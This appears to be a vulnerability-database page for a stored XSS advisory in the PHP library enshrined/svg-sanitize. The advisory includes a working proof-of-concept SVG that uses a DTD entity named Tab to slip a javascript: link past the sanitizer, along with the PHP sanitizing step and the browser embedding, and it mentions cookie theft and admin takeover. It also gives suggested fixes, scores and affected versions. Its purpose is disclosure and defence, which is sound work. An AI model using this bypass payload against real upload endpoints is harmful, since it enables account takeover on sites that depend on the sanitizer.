All vulnerabilities
CVE-2026-107380GHSA-9rjx-3jch-6vjf

enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision

darylldoyle enshrined/svg-sanitizecomposerLibraries & packages
CVSS
5.4Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.21%Chance of exploitation activity in the next 30 days, higher than 10% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in1.0.0Fixed versionGitHub
Published8 Oct 2026Updated 9 Oct 2026CVE List

What fixes it

  • 1.0.0enshrined/svg-sanitize, composerGitHubcomposer require "enshrined/svg-sanitize:^1.0.0"
  • 1.0.0enshrined/svg-sanitize, PackagistOSVcomposer require "enshrined/svg-sanitize:^1.0.0"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).

This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.

Affected installations:

  • enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
  • WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes)
  • TYPO3, Drupal and 90+ other Packagist dependents

Vulnerability Details

Mechanism

  1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
   <!ENTITY Tab "#">

In XML, &Tab; expands to the literal string "#" (from the DTD definition). In HTML5, &Tab; is a Named Character Reference that resolves to U+0009 (TAB character).

  1. The SVG uses this entity in an href:
   <a href="&Tab;javascript:alert(document.domain)">
  1. During sanitization (XML context): &Tab; → "#" → the sanitizer sees href="#javascript:alert(document.domain)" → starts with # → isHrefSafeValue() returns TRUE → passes through.
  1. Sanitizer output: saveXML() outputs the entity reference &Tab; (not the expanded value), and strips the DOCTYPE declaration.
  1. In the browser (HTML5 context): Without the DOCTYPE, &Tab; is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → javascript:alert(document.domain) executes.

Root Cause (Sanitizer.php)

// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
    if ('#' === substr($value, 0, 1)) {
        return true;  // Fragment identifier — "safe"
    }
    // ...
}

// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts

Proof of Concept

Malicious SVG (xss.svg)

<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
  <a href="&Tab;javascript:alert(document.domain)">
    <rect width="400" height="120" fill="#c00" rx="12"/>
    <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
  </a>
</svg>

Sanitizer processing

<?php
require_once 'vendor/autoload.php';

$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;

Output:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
  <a href="&Tab;javascript:alert(document.domain)">
    <rect width="400" height="120" fill="#c00" rx="12"/>
    <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
  </a>
</svg>

The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the &Tab; entity reference is preserved.

Browser exploitation

Embed the sanitized SVG inline in HTML:

<div class="svg-container">
  <!-- sanitized SVG output inserted here -->
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
    <a href="&Tab;javascript:alert(document.domain)">
      <rect width="400" height="120" fill="#c00" rx="12"/>
      <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
    </a>
  </svg>
</div>

**Clicking the red rectangle executes alert(document.domain).**

Confirmed: Chrome 148. PoC file: XSS_CONFIRMED_POC.html

Exploitable Named Character References

Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:

  • &Tab; → U+0009 (Horizontal Tab)
  • &NewLine; → U+000A (Line Feed)

These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.

Impact

Stored XSS

  • Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
  • SVG passes sanitization — sanitizer reports no issues
  • When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
  • Account takeover: document.cookie, fetch('/wp-admin/...'), session hijacking

Context requirement

The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios:

  • WordPress themes that echo file_get_contents($svg_path) for inline SVG rendering
  • WordPress block editor SVG preview
  • Any web application rendering svg-sanitize output directly in HTML

Standalone <img src="...svg"> is NOT affected (browser uses XML parser, &Tab; without DOCTYPE = XML parse error).

CVSS

CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

With session stealing / admin takeover chain: effective severity High.

Suggested Fix

Option 1: Strip DOCTYPE before parsing (recommended)

$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);

Eliminates entity definitions entirely. No DTD entities = no collision.

Option 2: Validate href after serialization

$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)

Option 3: Expand entities before validation

Validate getAttribute() return value AND the serialized form:

$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme

Environment

  • enshrined/svg-sanitize 0.22.x
  • Chrome 148 (confirmed XSS execution)
  • PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)

Reported by ExPatch Security Research — expatch.llc Denis Rostilov

Text from GitHub Advisory Database

Affected versions 51

  • enshrined/svg-sanitize, composer<= 0.22.0GitHub
  • svg-sanitizeraffected: < 1.0.0CVE List
  • enshrined/svg-sanitize, Packagistfrom first release, fixed in 1.0.0OSV
  • enshrined/svg-sanitize, Packagist0.1.0OSV
  • enshrined/svg-sanitize, Packagist0.1.1OSV
  • enshrined/svg-sanitize, Packagist0.1.2OSV
  • enshrined/svg-sanitize, Packagist0.1.3OSV
  • enshrined/svg-sanitize, Packagist0.1.4OSV
  • enshrined/svg-sanitize, Packagist0.1.5OSV
  • enshrined/svg-sanitize, Packagist0.1.6OSV
  • enshrined/svg-sanitize, Packagist0.10.0OSV
  • enshrined/svg-sanitize, Packagist0.11.0OSV
  • enshrined/svg-sanitize, Packagist0.12.0OSV
  • enshrined/svg-sanitize, Packagist0.13.0OSV
  • enshrined/svg-sanitize, Packagist0.13.1OSV
  • enshrined/svg-sanitize, Packagist0.13.2OSV
  • enshrined/svg-sanitize, Packagist0.13.3OSV
  • enshrined/svg-sanitize, Packagist0.14.0OSV
  • enshrined/svg-sanitize, Packagist0.14.1OSV
  • enshrined/svg-sanitize, Packagist0.15.0OSV
  • enshrined/svg-sanitize, Packagist0.15.1OSV
  • enshrined/svg-sanitize, Packagist0.15.2OSV
  • enshrined/svg-sanitize, Packagist0.15.3OSV
  • enshrined/svg-sanitize, Packagist0.15.4OSV
  • enshrined/svg-sanitize, Packagist0.16.0OSV
  • enshrined/svg-sanitize, Packagist0.17.0OSV
  • enshrined/svg-sanitize, Packagist0.18.0OSV
  • enshrined/svg-sanitize, Packagist0.19.0OSV
  • enshrined/svg-sanitize, Packagist0.2.0OSV
  • enshrined/svg-sanitize, Packagist0.2.1OSV
  • enshrined/svg-sanitize, Packagist0.20.0OSV
  • enshrined/svg-sanitize, Packagist0.21.0OSV
  • enshrined/svg-sanitize, Packagist0.22.0OSV
  • enshrined/svg-sanitize, Packagist0.3.0OSV
  • enshrined/svg-sanitize, Packagist0.4.0OSV
  • enshrined/svg-sanitize, Packagist0.4.1OSV
  • enshrined/svg-sanitize, Packagist0.5.0OSV
  • enshrined/svg-sanitize, Packagist0.5.1OSV
  • enshrined/svg-sanitize, Packagist0.5.2OSV
  • enshrined/svg-sanitize, Packagist0.5.3OSV
  • enshrined/svg-sanitize, Packagist0.5.3.1OSV
  • enshrined/svg-sanitize, Packagist0.6.0OSV
  • enshrined/svg-sanitize, Packagist0.7.0OSV
  • enshrined/svg-sanitize, Packagist0.7.1OSV
  • enshrined/svg-sanitize, Packagist0.7.2OSV
  • enshrined/svg-sanitize, Packagist0.8.0OSV
  • enshrined/svg-sanitize, Packagist0.8.1OSV
  • enshrined/svg-sanitize, Packagist0.8.2OSV
  • enshrined/svg-sanitize, Packagist0.9.0OSV
  • enshrined/svg-sanitize, Packagist0.9.1OSV
  • enshrined/svg-sanitize, Packagist0.9.2OSV

References 5